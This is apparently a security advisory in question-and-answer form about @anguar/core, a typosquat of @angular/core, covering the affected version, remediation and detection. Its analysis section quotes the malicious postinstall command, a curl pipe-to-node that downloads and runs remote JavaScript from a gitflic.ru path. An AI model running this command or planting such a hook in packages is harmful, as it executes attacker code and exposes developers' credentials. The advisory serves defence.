Which versions of @anguar/core are malicious?

The following npm versions of @anguar/core are flagged malicious: 22.2.1. Treat any of these as compromised.

How do I remediate @anguar/core if I installed it?

@anguar/core is a typosquat — you almost certainly intended a legitimately-named package. Remove @anguar/core, install the correct package, and rotate any secrets exposed during the install since post-install scripts may have already run.

I already installed @anguar/core — how do I know if it already compromised me?

If @anguar/core was installed, its post-install payload may already have run. Removing the package does not undo that — check outbound connections and credential use from the install window onward.

Is @anguar/core part of a known attack campaign?

Yes — @anguar/core is associated with the IN-MAL-2026-020997 campaign. Packages in the same campaign often share infrastructure and payloads, so check whether any related packages are also in your dependency tree.

How do I find @anguar/core across my projects, lockfiles, and CI pipelines?

Search your lockfiles and build artifacts for @anguar/core (version 22.2.1).

What this malware does

Package @anguar/core impersonates @angular/core: scope name differs by one letter and package.json name, description, author, and repository metadata are copied from the real @angular/core. The package.json declares a postinstall lifecycle hook that runs curl -L https://web.archive.org/web/https://gitflic.ru/project/hellscripter/install-scripts/blob/raw?file=node.js | node, fetching JavaScript from a gitflic.ru path under the user hellscripter (proxied through web.archive.org) and piping it into Node. The remote source is unpinned, unverified, hosted on infrastructure unrelated to the Angular project, and under full control of a third party. Any developer who mistypes the Angular scope and runs npm install will execute arbitrary attacker-controlled code on their machine.
